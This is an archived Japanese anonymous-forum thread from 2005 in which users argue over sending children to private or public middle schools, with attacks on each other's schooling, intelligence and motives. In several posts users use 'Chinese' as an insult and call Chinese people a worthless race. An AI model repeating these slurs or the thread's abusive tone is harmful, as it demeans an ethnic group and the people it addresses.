現実とは?
私立上位が一般公立よりも少なくとも進学実績で勝っているということ?

そ れ は そ う で し ょ?

私の言う「あなたの語る理想」とは
能力がないものですら
「こういう学校に入りたい、入れたい」と唱えさえすれば
あたかも現実に入学できるような世迷言の事ですよ。

774 :実習生さん:2005/04/22(金) 13:46:45 ID:FkJYC8e/
>>772
あなたはその「ア   ホ」の第一人者でしょう。
ずっとここで同じ事繰言で言ってるだけだもの。

775 :名無し@教育板:2005/04/22(金) 13:48:43 ID:NrpUyfmx
>>774
まだわかんないのか?
少なくとも、ID:1P0jFL0fさんもオレも
「進学実績」の話なんかしていないよ。

おまえだけだよ。

776 :名無し@教育板:2005/04/22(金) 13:50:35 ID:NrpUyfmx
748 名前: 名無し@教育板 投稿日: 2005/04/22(金) 13:00:21 ID:NrpUyfmx
>>746

 y=fx

のfの話をしているんだってことをまず理解しろ。

777 :名無し@教育板:2005/04/22(金) 13:51:15 ID:NrpUyfmx
おまえの繰り返しているのは、yの話。


778 :実習生さん:2005/04/22(金) 13:52:16 ID:FkJYC8e/
>>775
じゃ、つまりこういう事?
現実には上位私立はおろか公立をまともに卒業する事すら出来ず
ヒキコモリ、ニートであっても
「俺は上位私立に行きたい、行かせてもらいたかった、将来子供を行かせたい」と
ブツブツつぶやきつづける事が大切なのであって、
実際にはどんな学校に通ってるかとか、或いは学校そのものに通ってなくとも
関係無いと?

779 :実習生さん:2005/04/22(金) 13:52:30 ID:ct6PMq/H
同じ能力なら公立行くより私立に行くほうが大学進学においてはよい結果を出せるよ。


780 :実習生さん:2005/04/22(金) 13:54:55 ID:FkJYC8e/
fの話、yの話と言われても。
頭がいいんだったらバカにもわかるように話してちょ。

781 :実習生さん:2005/04/22(金) 13:55:51 ID:ct6PMq/H
それにしてもFkJYC8e/さんはどういう立場の人で、ここで何をしたいの?
私立マンセーの人達が公立出身で現状に不満を持ってる人達なのはわかるんだけど、じゃあその逆は?




782 :実習生さん:2005/04/22(金) 13:55:54 ID:q/xPjpFg
>>一方、私立派には、底辺関係者なんてほとんどいないだろ。

ウソも大概にしとけ。

ここの私立派は、公立での悲惨な体験から、公立に憎しみを持つに至った奴が大半。

そもそも、私立に通った経験なんか無い奴ばっかw


783 :実習生さん:2005/04/22(金) 13:57:44 ID:ct6PMq/H
まぁスレタイも良くないんだろうな
変えたほうがいい

784 :実習生さん:2005/04/22(金) 13:58:30 ID:FkJYC8e/
>>781
名無し@教育板さんとその分身が当たり前の事を偉そうに繰り返してるなあって
言いたいだけ。

785 :名無し@教育板:2005/04/22(金) 13:59:19 ID:NrpUyfmx
>>778
まずスレタイ読め。
本来、自分が学校に通っているとかのガキには関係ない話なんだよ。
話に加わるのにホンモノの親である必要はないが、少なくとも親の立場でモノを考えられる能力(というより姿勢)がなければ、話について来られない。
おまえはガキの立場を一歩も出ていないから全然理解できていない。




786 :実習生さん:2005/04/22(金) 14:01:32 ID:fRcC/rPh
久々に気合いの入った地象だねw
おもしろいよー

787 :名無し@教育板:2005/04/22(金) 14:01:46 ID:NrpUyfmx
>>782
おまえの言うとおりなら

>>一方、私立派には、底辺関係者なんてほとんどいないだろ。

にウソはないだろ?


788 :実習生さん:2005/04/22(金) 14:02:26 ID:FkJYC8e/
>>785
親であろうが子であろうが、「上位私立に入りたい、入学させたい」って
口でいうだけ、心に思うだけ、掲示板に書き込むだけだったら
誰にでも出きるんじゃないの?

でも現実に上位私立に入学できるのは限られた少数でしょ?

789 :名無し@教育板:2005/04/22(金) 14:03:15 ID:NrpUyfmx
>>786
皆特産は、最近お受験板に出没していたみたいだよ(w

790 :実習生さん:2005/04/22(金) 14:04:07 ID:fRcC/rPh
≫そもそも、私立に通った経験なんか無い奴ばっかw


幾ら何でもそりゃ言い過ぎ。
私立出の奴もいるよー。

791 :名無しさん@そうだ選挙に行こう:2005/04/22(金) 14:04:34 ID:d4KCUidk
てか公立とか私立とかどっちでもその子供に合ってるかどうかなんて
親にわかんのかよ

792 :実習生さん:2005/04/22(金) 14:05:15 ID:q/xPjpFg
>>787
ハハハ

そりゃ、そうだw

793 :名無しさん@そうだ選挙に行こう:2005/04/22(金) 14:05:31 ID:d4KCUidk
別に私立出たからって( ・∀・)イイ!人生送れるかわらんないし

794 :名無しさん@そうだ選挙に行こう:2005/04/22(金) 14:06:19 ID:d4KCUidk
だろ?
やっぱその子供にあってる学校が一番なんだよ


795 :実習生さん:2005/04/22(金) 14:06:35 ID:FkJYC8e/
ネット上で「俺は私立派 プ)だぁあー」って言うだけなら
誰にでも言えるじゃん。w

796 :名無し@教育板:2005/04/22(金) 14:06:39 ID:NrpUyfmx
まず>>779を読め。
そしておまえの繰り返し言っていることとの違いをきちんと認識しろ。
おまえはyを語り、>>779はfの話。
これがわからないと先に進めないぞ。


797 :実習生さん:2005/04/22(金) 14:09:38 ID:q/xPjpFg
>>790
私立派の人が、公立はいかにヒドイかを語るときに出て来る
極めて実感のこもったお話は、とてもとても私立出身者に書けるとは
思えませんけどねw


798 :実習生さん:2005/04/22(金) 14:09:57 ID:FkJYC8e/
だから、yって何なのよ?fって何なのよ?
バカにでもわかるように話してよ。

799 :実習生さん:2005/04/22(金) 14:15:22 ID:FkJYC8e/
説明できないみたいね、この中国人が。

800 :名無しさん@そうだ選挙に行こう:2005/04/22(金) 14:18:02 ID:d4KCUidk
フ━━━( ´_ゝ`)━━━ン!!
中国人か
あの馬鹿民族か
むやみやたらと愛国心
を振り回しているカス民族か
((( ̄( ̄( ̄( ̄ー ̄) ̄) ̄) ̄)))フッ

801 :名無しさん@そうだ選挙に行こう:2005/04/22(金) 14:18:46 ID:d4KCUidk
中国なんてカスの固まりだ
>>逝ってよし Σ(´D`lll)
だな

802 :名無し@教育板:2005/04/22(金) 14:19:39 ID:NrpUyfmx
yは結果。「使用後」だ。おまえの場合は「進学実績」だろ。
xは素材。「使用前」。

そのxにどういう関数fを掛けるかの部分が学校教育その他だ。
他の人は私立中f>公立中f
という話をしているのに、おまえは必死にひとりでyの話をしているんだよ。


803 :実習生さん:2005/04/22(金) 14:22:33 ID:FkJYC8e/
自分の言ってる事を相手に理解してもらえなければ
即ち、相手が馬鹿であるとしか考えられない。

自分の説明能力が足りない、とか言ってることがそもそもおかしいとか
全然考えられない、考えた事もない、=中国人

804 :実習生さん:2005/04/22(金) 14:22:57 ID:q/xPjpFg
つーか、某お受験サイトもそうなんだけど、この手の場所には
塾や私学の関係者が工作員として張り付いてるってのは常識だから。


805 :実習生さん:2005/04/22(金) 14:26:19 ID:d0gL8iz/
>>782ここの私立派は、公立での悲惨な体験から、公立に憎しみを持つに至った奴が大半。

そもそも、私立に通った経験なんか無い奴ばっかw

>>788
親であろうが子であろうが、「上位私立に入りたい、入学させたい」って
口でいうだけ、心に思うだけ、掲示板に書き込むだけ

ひどい決め付けですね。
私立経験者で子供を私立に通わせている人がいないと何故断言出来るのでしょう。
それと、ここはそもそも東京圏の話でしたよね。全国とか言われても。
私の私立を選択する際の意見は名無し氏と同じではないけれど
私立叩きの人の決め付けはちょっと目に余ります。


806 :実習生さん:2005/04/22(金) 14:29:47 ID:FkJYC8e/
ふーん。fって言うのはシステムの事?
随分わかりにくい例えだね。
それこそ自分の脳内だけで完結してるというか。

そのシステムは同じ私立でも学校によって全然違うから
一緒くたにしては語れないじゃん。
それにそのシステムが個人にどういう作用を及ぼすかも
厳密には個人によって違うでしょ?

807 :実習生さん:2005/04/22(金) 14:29:48 ID:KL7hnhUw
名無し教育板さんはいい事言うときもあるのに、いかんせん他人に対して言葉が
悪すぎますね。
そういう人が偏差値目的で私立っていうのならたくさんいますからOKですが、
どうやらそうではなく教育環境を大切に考えられているようですので、もう少し
気をつけられたらいかがでしょう。
きちんとした躾を大切にされる私立ですと浮いてしまってお子さんがかわいそう
ですよ。

808 :実習生さん:2005/04/22(金) 14:31:37 ID:q/xPjpFg
>>805
過去スレからずっと読んでみれば、公立出身者こそ
ここの主軸であることが分かりますがねw

809 :実習生さん:2005/04/22(金) 14:32:06 ID:FkJYC8e/
>>805
私は私立叩きではなく名無し@教育板叩きです。

810 :名無し@教育板:2005/04/22(金) 14:38:22 ID:NrpUyfmx
>>806
おおーやっと少しわかってきたね。
「システム」って簡単に言い切っちゃうのはおまえがまだよくわかっていないからだけどね。
実際はもっと複雑だな。進学実績としてのyに影響する部分だけ取り上げてもね。
一見マイナスに見えるようなことが、プラスであったりすることもある。

>それにそのシステムが個人にどういう作用を及ぼすかも
>厳密には個人によって違うでしょ?

これはその通りだね。
たとえば、おまえ程度の頭脳の香具師がトップ私立に入ってもおっぽり出されるだけだろ。
ただ、その辺は入試と言うフィルターがおまえの言うシステムの一部として既に機能しているんだよ。
まあこの辺は100%の保証なんて期待するのが無理。最大公約数的な平均値で考えるんだよ。

811 :名無し@教育板:2005/04/22(金) 14:41:37 ID:NrpUyfmx
それで一歩進むと、
これはおまえの「進学実績」に限った話ではあるが、実は

中堅・底辺私立f>トップ私立f

という事実も見えてくる。

812 :名無し@教育板:2005/04/22(金) 14:43:22 ID:NrpUyfmx
>>807
>いかんせん他人に対して言葉が悪すぎますね。

自分のことながら禿同。




813 :実習生さん:2005/04/22(金) 14:43:39 ID:FkJYC8e/
名無し@教育板が公立でいじめにあって(でも本当はいじめられたというよりも
単にヤな奴でアホだから嫌われて相手にされなかっただけかもしれないけれど)
悲惨な末路をたどったのは事実かもしれないし、他にもそういう人はいるかも
しれないけれど、それが公立の最もスタンダードな過ごし方かどかは
わからないじゃん。単なる個人的な体験じゃん。
たまに細胞分裂して一人数役になるけれどさ。w

814 :実習生さん:2005/04/22(金) 14:44:35 ID:d0gL8iz/
>>808
私は9からしか見ていないのでそれ以前のことはよくわかりませんが
(過去ログの1だけ見ましたが何しろたくさんあるので)
主軸がどうこうと書き込むことに何か意味はあるのでしょうか。
もし主軸がそうであったとしても実際の経験から私立を推す人の書き込みもあるわけですから
全ての人が脳内妄想で書き込んでいるというのは言い過ぎと思います。

815 :実習生さん:2005/04/22(金) 14:48:34 ID:FkJYC8e/
だからさー、システムの評価が進学実績の点だけに絞られるなら
私立上位校が優秀なのは入り口の所で厳しく選別してるのは当たり前だし
「楽しくすごせたかどうか」だったらそんなの公立私立関係無く
個人によって違うでしょ?

私立下位中堅以下だったら進学実績に限って言えば
公立より下の所だっていくらでもあるし。

816 :実習生さん:2005/04/22(金) 14:48:35 ID:q/xPjpFg
>>805
ていうかさ、あなた自身は私立出身者で、
子供も私立に通わせている方なのですね?

そうであるという前提で言いますが、
あなたのような、ある意味で昔からの私立派とも言うべき方にとっては、
私立の人がこのようなタイトルのスレッドを立てて、
公立とその父兄をDQN呼ばわりしていることは、かえって迷惑ではないですか?

私立の人がこんなスレッドを立てているとしたら、私立派の品性が疑われると思いませんかね?

このスレッドは、公立出身者が公立を叩くことで溜飲を下げているから、ここまで伸びるんですよ。

817 :名無し@教育板:2005/04/22(金) 14:49:32 ID:NrpUyfmx
>>813
自分のDQNさにやっと自分で気がつくと、今度は個人叩きだよ。
まあ、おまえのように典型的な馬鹿を晒したIDに叩かれれば叩かれるほど相対的に浮いてくるからかえって光栄だけどな(w

818 :実習生さん:2005/04/22(金) 14:52:46 ID:FkJYC8e/
>>817
おや、人をさんざ罵っておきながら自分がちょっとでも悪く書かれると
傷つくんだね。図星だったのかな?ゴメンゴメン。

でも君が全くの個人的体験をさも日本全国の事であるようにごまかして
語っているのは事実でしょう。

819 :名無し@教育板:2005/04/22(金) 14:54:33 ID:NrpUyfmx
>>815
>楽しくすごせたかどうか」だったらそんなの公立私立関係無く
個人によって違うでしょ?

結果論語ってもしょうがないじゃん。
選択する段階で「何を基準に選ぶか」考えて、「それにはどういう選択肢をピックするか」を考える・・・そしてそれを実際に実行するの。
結果論に判断をまかせるってのは、思考停止、考えなかった言い訳でしょ、ほとんどの場合は。

>私立下位中堅以下だったら進学実績に限って言えば
公立より下の所だっていくらでもあるし。

また話が戻っているよ・・・


820 :名無し@教育板:2005/04/22(金) 14:56:59 ID:NrpUyfmx
>>818
個人的体験なんか語ってないけどね(w
おまえの>>813はおまえの妄想であって、オレとは全く関係ないよ(w

821 :実習生さん:2005/04/22(金) 14:57:26 ID:FkJYC8e/
>>819
つまり、進学実績はあんまり関係なくて
「どういう学校に行くのか」が選べれば無問題と言いたいわけね?
じゃあ、学区内で行く学校が公立でも選べる地区は?

822 :実習生さん:2005/04/22(金) 15:01:01 ID:FkJYC8e/
あと選べるつったってどうやって間違いのない選択をするのか
それは難しいよ?
私立は商売だから選択の段階ではいくらでも都合の良い事を並べる事もあるよ?

823 :実習生さん:2005/04/22(金) 15:02:26 ID:x3uM1Ynk
ループ好きの集まる低学歴スレだし

824 :名無し@教育板:2005/04/22(金) 15:02:49 ID:NrpUyfmx
>>821
公立は全国規格のスタンダード。
何かやっても出る杭は打たれる。

選択性はまだましだが、お役所の横並び体質は変わらないよ。



825 :実習生さん:2005/04/22(金) 15:05:48 ID:FkJYC8e/
DQNの問題も金髪ヤンキーの事をお前はすぐに持ち出すが
金髪ヤンキーなんてそんなの単なるコスチュームであって
コスチュームを着ていない成績のいいDQNだって
私立には掃いて捨てるほどいるよ?

駒東だってそういうコスチューム着てないDQNに脅かされて
パシリとして集団万引きやって結果退学させられた悲惨な奴だって
いるしさ。
私立は数が少ないからあんまり話題にならないだけだけどね。

826 :名無し@教育板:2005/04/22(金) 15:06:35 ID:NrpUyfmx
>>822
>あと選べるつったってどうやって間違いのない選択をするのか
それは難しいよ?
私立は商売だから選択の段階ではいくらでも都合の良い事を並べる事もあるよ?

結果的に100%間違いのない判断なんかできないだろ。
能動的に選ぶのは当然難しいよ。
私立や塾の商業主義の甘言に惑わされないことも当たり前のこと。

そんなもんリスクを自分で背負って判断していくなんて当たり前のことだろ。



827 :名無し@教育板:2005/04/22(金) 15:08:16 ID:NrpUyfmx
>>825
100%と0%の問題じゃないんだよ。
リスクヘッジだよ、問題は。

828 :実習生さん:2005/04/22(金) 15:08:27 ID:FkJYC8e/
>>824
だからそれはお前の個人的体験に過ぎないわけでしょ?
お前が出る杭だったかどうか怪しいけれど。
単に成績悪かったのに口だけ偉そうだったから
クラスでも教師にも嫌われてただけなんじゃないの?

829 :実習生さん:2005/04/22(金) 15:10:20 ID:FkJYC8e/
>>826
じゃあ私立に行った所で幸せかどうかは結果としてしか
判断できないじゃん?

830 :名無し@教育板:2005/04/22(金) 15:10:44 ID:NrpUyfmx
駒東で万引きで退学になるかもしれない。
公立の金髪DQN中で成績優秀の模範生なるかもしれない。

→だから公立の金髪DQN中に行くって選択になる香具師がいるのか?

結果論でモノを語るのはDQN。

831 :名無し@教育板:2005/04/22(金) 15:12:43 ID:NrpUyfmx
>>828
出る杭は打たれる

のは個人の問題じゃなく、学校のことね。
学校も横並び。

832 :実習生さん:2005/04/22(金) 15:14:24 ID:q/xPjpFg
>>830
>>→だから公立の金髪DQN中に行くって選択になる香具師がいるのか?

それは、あなたの子供の頭次第だなw

それしか選択肢がない可能性だってあるわけだよw

833 :実習生さん:2005/04/22(金) 15:14:54 ID:FkJYC8e/
入学前の、或いは入学すらしなかった者の何とはなしの印象だとか
リスクヘッジだとかどうでもいいんだよ、実際は。
実際に私立行っても悲惨な目にあったらそれは100%なんだよ。

834 :実習生さん:2005/04/22(金) 15:19:00 ID:FkJYC8e/
だからさあー、金髪DQNがのさばってる公立中ばかりじゃないだろうがー。
そういう自分の周囲数メートルの環境だけでしか語ってないから
自分の個人の問題でしか全体を考えられないアホって言われるんだよ。

835 :名無し@教育板:2005/04/22(金) 15:19:38 ID:NrpUyfmx
>>833
>実際に私立行っても悲惨な目にあったらそれは100%なんだよ。

そりゃそうだ(w

そんなこたあ誰でもわかっているの。
○年後が確約されていれば、それを選べばいいの。
でも、実際にはそんなクリスタルボールは存在しないんだから、
だからこそのリスクヘッジなの。
そこがDQNとそれ以外の人を分けるところなのさ。

836 :名無し@教育板:2005/04/22(金) 15:21:00 ID:NrpUyfmx
>>834
底なし沼のようなDQNだな・・・


837 :名無し@教育板:2005/04/22(金) 15:22:00 ID:NrpUyfmx
>>832
あんたも馬鹿なツッコミいれているんじゃないよ。


838 :実習生さん:2005/04/22(金) 15:22:30 ID:FkJYC8e/
その「私立だったらリスクヘッジが…」云々てのは
実際に私立に通った事すらなかったお前の根拠のない印象に過ぎないじゃん。

839 :実習生さん:2005/04/22(金) 15:24:32 ID:FkJYC8e/
>>836
お前がDQNな環境しか知らないだけだ。
本物のDQN程相手に対してDQN、DQNを連発する。

840 :実習生さん:2005/04/22(金) 15:27:15 ID:q/xPjpFg
>>837
失礼w

ま、定員割れの私立もあるからね。

運悪く(或いは当然の遺伝か?w)子供がバカでも、
死んでも公立は嫌って人が行ける私立はあるよw

841 :名無し@教育板:2005/04/22(金) 15:27:46 ID:NrpUyfmx
>>838
おまえが単なる印象と思うんならそれでいいんじゃない?

842 :実習生さん:2005/04/22(金) 15:29:54 ID:x3uM1Ynk
公私しか価値基準をもてないお前ら全員ドクソなんだよ。ザコども

843 :名無し@教育板:2005/04/22(金) 15:31:21 ID:NrpUyfmx
>>842
そうじゃなくて、ここは公私だけをクローズアップして語るスレなんだけどな。

844 :実習生さん:2005/04/22(金) 15:32:16 ID:FkJYC8e/
うん、非常に頭が悪い奴がその貧しい環境で必死に考えた印象だな。

自分の個人的体験を誰もが体験したように語るな、このチラシの裏野郎。

845 :実習生さん:2005/04/22(金) 15:34:12 ID:FkJYC8e/
お前の言うリスクヘッジは公私で語れないってことだよ。この糞が。

846 :実習生さん:2005/04/22(金) 15:36:32 ID:FkJYC8e/
何で「自分は」公立で悲惨だった、ですませられないんだ?

自分だけが不幸だって思うのが怖いんだな?
このヘタレチキン。

847 :名無し@教育板:2005/04/22(金) 15:42:21 ID:NrpUyfmx
とにかく完全な妄想を個人的体験とか言って押し付けられても困るんだがな・・・

848 :実習生さん:2005/04/22(金) 15:45:29 ID:x3uM1Ynk
公立出か私立出か知らんが連レスやめろ。少しは自分の中で整理して書け。
844-846。主張がガキっぽくみえる。リアル餓鬼ならまあしゃあないとしたるわ

849 :実習生さん:2005/04/22(金) 15:47:29 ID:FkJYC8e/
「真面目な奴が公立へ行くと、必ず金髪DQNに虐められる」ってのは
お前の個人的体験による妄想定義じゃないのか?

お前は自分が不幸だったら全国津々浦々の少年少女に自分と同じように
不幸になってもらわないと気がすまないのかよ?

850 :名無し@教育板:2005/04/22(金) 15:56:39 ID:NrpUyfmx
>>849
>「真面目な奴が公立へ行くと、必ず金髪DQNに虐められる」

なんて誰も言ってないでしょ。

むしろ「公立中行くと金髪DQNになっちゃう」とかが心配なんじゃないの?
そういうこと言うと校則でどうとか言う香具師がいるけど、厳密な意味の金髪DQNじゃなくて、
だいたいあんなような中学生。





851 :実習生さん:2005/04/22(金) 16:29:09 ID:FkJYC8e/
それこそ本人次第なんじゃないの?
お前は本当にDQNな環境しか知らずに育ったようだな?


「だいたいあんなような中学生」だったら私立にもいるだろう?
教師や親に知られずにDQNな真似をする奴などいくらでもいる。

852 :実習生さん:2005/04/22(金) 17:02:23 ID:it+6UDme
公立でも努力している学校はある。
TVでみたのは小学校だったが

853 :名無し@教育板:2005/04/22(金) 17:21:29 ID:NrpUyfmx
>>851
ホントもう少し考えてからカキコしろよ。

私立にDQNがいること も 公立にDQNじゃない香具師がいること も
当たり前のことであって、おまえ以外は誰も問題にしていない。

朱に交われば赤くなる・・・を「本人次第」と否定するのも間違ってはいないかもしれない。

しかし、多くのまともな親にとって、
私立の方が公立に比べて、自分の子供が、金髪DQNまたはそんなようなDQNになっちゃう危険が少ないと考えられている
ということだ。
または金髪DQNに囲まれて居心地が悪い学校生活を送る危険が少ない・・・のかもしれない。

854 :実習生さん:2005/04/22(金) 17:29:35 ID:q/xPjpFg
>>853
>>私立にDQNがいること も 公立にDQNじゃない香具師がいること も
>>当たり前のことであって

てか、あなたも公立出身なんでしょ?

ハッキリ言えよw

公立親が全てDQNなら、あなたの親だってDQNになるもんなw

さすがに、自分の親に向かって唾は吐けないもんねえw

855 :名無し@教育板:2005/04/22(金) 17:47:49 ID:NrpUyfmx
>>854
>公立親が全てDQNなら、あなたの親だってDQNになるもんなw

誰も公立親が全てDQNだとは言っていないが・・・・
仮にそうだとして、今の親の世代、20年も30年も前の話は関係ないよ(w

だいたい、オレが公立出身だとしても私立出身だとしても関係ないんじゃないの?


856 :実習生さん:2005/04/22(金) 18:01:07 ID:575FBubk
公立高優位とされている地区でも、私立がどんどん台頭してきているのが現実。
とくにゆとり教育が騒がれだしてから、急に入試のレベルが上がりだし、競争率も上がってきた。
この世代が大学受験に参加する4年後には、私立の躍進が目立つでしょう。

それと、地方の私立一貫校は、東大進学数は少ない学校でも、国立医科では圧勝している現実がある。
医師の子弟が多いからか、私立に行く階層は現実感覚が鋭いのか。



857 :実習生さん:2005/04/22(金) 18:19:18 ID:fRcC/rPh
確かに東海や滝は医学部に強いな

858 :実習生さん:2005/04/22(金) 18:21:43 ID:fRcC/rPh
福岡の明治学園とかもやたら医学部が多いよな。

859 :実習生さん:2005/04/22(金) 18:38:27 ID:fRcC/rPh
首都圏の私立医学部の合格者の出身校は
平均して八割〜九割が私立六貫。

少なくとも金持ちは私立に行かせる図式は
成立している。

860 :実習生さん:2005/04/22(金) 18:54:55 ID:3zJRvx5A
このスレタイトルが「『公立中』に入れる親」だから刺激が大きいのよ。

やむをえない状況で結果的に『公立中』に入れる親もいるしね。

スレタイを「『公立中』に入れようとする親」にすればいい。
そうしたら、結果より過程の問題になる。

どうかな?

861 :実習生さん:2005/04/22(金) 19:21:49 ID:vchWAS2c
>>860
またスレタイの話ですかwww
公立の人って、そんなに気になるものなんですねww
納得。。。
まあ、公立自体、表現がどうだのああだのずっと言っている世界だからな

そもそも、入れようとしても入れても一緒だ罠
何も変わらん
それに、誰も100%DQNなんていってない
「多い」って書いてあるのわかる???
やむをえないって言うのは、出来れば私立に逝かせたかったって思っているんなら
救いはある
ま、力が無かったってことだな。
公立にすすんで入れようとする、もしくは何も疑問を持たずに入れようとする(これが多いんだなw)
公立親にDQNが多いってこった


862 :実習生さん:2005/04/22(金) 19:30:36 ID:q/xPjpFg
>>861
>>公立の人って

そういうアナタも公立出身なんでしょ?w

863 :実習生さん:2005/04/22(金) 19:32:31 ID:1F8LELoG
>>860
スレタイは「・・・DQNが多い」ということで、
すべての親がそうだ、とは言っていないので無問題だと思います。
確固たる教育理念や学力があっても止む得ない経済的な理由で
子供さんを公立中に通わせていらっしゃる方は、
敢えてこのスレで公立擁護をする必要はないと
お考えではないでしょうか?






864 :実習生さん:2005/04/22(金) 19:41:19 ID:q/xPjpFg
>>863
その逆も然りだと思うがね。

親の代から私立に行ってて、自分も当たり前のように私立に行った人が、
わざわざ、こんな場所で公立を叩く必要があるのかね?w

自分自身の出自にコンプがあるから、こういうスレが立つんでしょうにw



865 :実習生さん:2005/04/22(金) 20:21:26 ID:pLaLd3TA
>>863
経済的に豊かで学力もあるのに、敢えて公立を選ぶのはDQNなの?

866 :実習生さん:2005/04/22(金) 20:47:01 ID:6e2k5zs4
>>865
いや
地元のコネクションが必要な家柄は例外でしょう
しかし多くの公立コースは経済的事由もさることながら
大部分が何の疑問も持たずベルトコンベヤーに乗るように
公立小→中→高校と進むわけだわな

867 :実習生さん:2005/04/22(金) 21:50:07 ID:pLaLd3TA
経済的理由って良く言うけど、私立中自体は大した学費じゃないし、
(受験勉強の費用は相当かかるらしいけれど、選り好みしなければ何とかなる)
それほど経済的理由で私立を諦める人がいるとは思えないんだけど。

868 :実習生さん:2005/04/22(金) 22:12:13 ID:odqjVvT3
ID:pLaLd3TAは臑齧りの子供か?
世間にはそれぞれ家庭の事情を抱えた人がたくさんいる
ってことを知った方が良いと思うぞ

869 :実習生さん:2005/04/22(金) 22:31:59 ID:pLaLd3TA
>>868
小学生の子持ちです。

社宅住まいだから、学歴や収入は同じくらいの人たちの集まりだけど、
お受験幼稚園から私立小で中学受験というコースを選択する親もいれば、
私立小からエスカレーターを選ぶ親もいるし、
公立小から中学受験を選ぶ親もいる。
ずっと公立を選ぶ親もいます。

だから経済的事情というのは、あまり関係ないかも。
実家の裕福度はちょいと違うようですが。

870 :実習生さん:2005/04/22(金) 23:05:45 ID:FkJYC8e/
>>853
「多くのまともな親にとって…と考えられている」
それは2chのお受験板やインターエデュをロムって出した個人的結論か??
その程度の事でそんな結論が導き出せると思ってるなら、
お前の方こそ考え足らずの阿呆だよ。
実際に子供を受験させようか否か、私立に行かせるか公立に行かせるか
問題に直面している家庭はもっと現実をしっかり捉えているんじゃないの?

私立に行かせるか否か、考える一番大きな理由は「いじめ」なんかじゃない。
それは「学力がしっかりつくかどうか」だ。
だからこそ「ゆとり教育」で危機感を感じた層が
今まで考えもしなかった私立受験に雪崩れ込んだんじゃないか??
今更、「私立だったらいじめはない」「いじめがあっても学校の力で回避できる」
なんて思ってる親っているのか?
居たとしたらそうとうのアホで世間知らずだと思うぞ。



871 :実習生さん:2005/04/22(金) 23:15:20 ID:FkJYC8e/
何故なら、まともに考えれば人間が集団を作れば
そこには必ずいじめが発生する危険性は生ずるからだ。

それに一口に「いじめ」といっても
いじめられた(と、思っている)方がいくら
「いじめだいじめだ」と騒いだ所で
それが必ず本当のいじめとして
周囲に認識されるかどうかなんて私立だろうが
公立だろうがわからんじゃないか。
「いじめられた」と騒いでいる方の思い過ごしかもわからんからな。
だから私立だって「いじめられた」と声をあげた所で
必ずしも声を上げれば救済されるわけではなかろうが。
学校側が「そんなつまらないトラブルで騒いでいるより成績上げて
実績出せや」程度にしか捉えなかったらそれまでだよ。
そんなの普通に考えればわかるじゃん?
「私立だったらいじめのリスクヘッジが」なんて考えているのは
アホのお前ぐらいのもんだよ。

872 :実習生さん:2005/04/22(金) 23:23:20 ID:FkJYC8e/
それでもここ数年の受験率が急上昇したのは
一重に「ゆとり教育による学力不安」だよ。
だから底辺にしか受かんなかった親がそのまんま底辺に行かせるか、
それとも公立に行ってリベンジさせるか迷うんだよ。
底辺だと例え多少の先取りをしていても
実際には進学実績なんて出せていないからな。

事実多くの親は実力以上の強気受験で
上位校にねじ込ませたがるじゃないか?
で、結果的に全滅なんてケースもここ数年珍しくないし。
いじめのリスクヘッジがメインの理由ならそんな現象有り得ないだろ?
それに受験掲示板だって私立にもいじめの問題が結構あることは
報告されてるしな。

873 :実習生さん:2005/04/22(金) 23:25:48 ID:FkJYC8e/
自分が公立でいじめにあったからって
私立受験の大きな理由に「いじめのリスクヘッジ」がある、なんて

だからお前は自分の個人的体験を普遍的なものにそのまんまスライドさせて
考えちゃう阿呆なんだよな?

874 :実習生さん:2005/04/22(金) 23:32:44 ID:FkJYC8e/
>>855
20年、30年前の親の子供だったのかい?お前は。
それでそのまんま不登校でヒキコモリになったのなら、
昨今の「公立のいじめ事情」なんてそんなに詳しくなんかないんじゃない?
20年30年前に自分がいじめられて不登校になった時のまんまの感覚で
今の事情を語ってるのだとしたら相当のズレがあるんじゃないか?




875 :実習生さん:2005/04/22(金) 23:40:03 ID:FkJYC8e/
お前が公立にいた20年30年前には
「いじめ」の問題なんてほとんど重要視されていなかったし
だから「いじめによる自殺」なんてのも頻発してたんだろうが
今は成績重視の私立より公立の方がよっぽどいじめには神経質に
なってるよ。
お前の嫌いなサヨ公立も「子供の権利条約」だどーたら言ってるしな。
そういう「いじめ自殺事件」のせいだけどな。

876 :実習生さん:2005/04/22(金) 23:47:10 ID:FkJYC8e/
>>861>>863
DQNはどういうものである、とか
そもそもDQNが多い少ないとか
「お前」がどうして決定できる権利があるのかね?

そんな事ほざいてるのはお前だけ。
自分自身が一番DQNだからこそ自分以外をDQNDQNと決め付けたがる。

877 :実習生さん:2005/04/22(金) 23:53:28 ID:fRcC/rPh
うほ!良い地象!

878 :実習生さん:2005/04/23(土) 00:01:34 ID:7G28Twz9
>>863
現状の公立中学の荒廃した風紀や地に落ちたゆとり教育を
考えると、経済的に豊かで学力もあるのに公立を選ぶというのは、
先見の明がないと言うか、親の怠慢ではないかと思います。
あくまでも私的意見ですが・・・

>>869
貴方の周囲の方はそうかもしれませんが、
現実的には>>868さんがおっしゃる通り
様々な事情を抱えたご家庭があるのですよ。
一般的なサラリーマンや公務員家庭で
持ち家・子供2〜3人となると、
共働きでなければ結構大変だとお聞きしました。

息子が通う私立中学では保護者の3割が医師です。
我が家もそうですが、私が知る限りの医師のご子弟は
私立中学に進学されています。


879 :実習生さん:2005/04/23(土) 00:12:44 ID:hVSFMDlU
>>878
>現状の公立中学の荒廃した風紀や地に落ちたゆとり教育を
>考えると、経済的に豊かで学力もあるのに公立を選ぶというのは、
>先見の明がないと言うか、親の怠慢ではないかと思います。
>あくまでも私的意見ですが・・・
貴方の地域の公立中はそうかも知れないがうちの辺りは違うね。
あくまでも個人的感想だね。

>息子が通う私立中学では保護者の3割が医師です。
>我が家もそうですが、私が知る限りの医師のご子弟は
>私立中学に進学されています。
御三家でも3割はいないと思うがね。
別に医者が多ければ良い訳でもあるまいに、医者がそんなに有難いかい。


880 :実習生さん:2005/04/23(土) 00:47:07 ID:HZBc6kqF

何県何市にお住まいですか?
参考に聞きたいです。

881 :実習生さん:2005/04/23(土) 00:56:41 ID:Y0rl+ZQx
>>878
何を言ってるんですか?
勉強のレベルにだけこだわって私立に行かせることこそ親の怠慢でしょ。
いろんな子がいる公立じゃないと社会で必要なコミュニケーション能力は育ちません。
幼い頃から偏差値主義が染み付いてしまうことは子供の成長のために良くありません。
小学生に詰込み教育をすることこそ親の倫理観の欠如、人間教育における怠慢そのものですよ。

それに学力にしても高校受験がある公立の方が実は中学の内容はしっかりやります。

882 :実習生さん:2005/04/23(土) 00:57:27 ID:Y0rl+ZQx
DQN親を暴行罪で逮捕しろ!
義務教育段階での選抜は学校教育法で禁止しろ!!

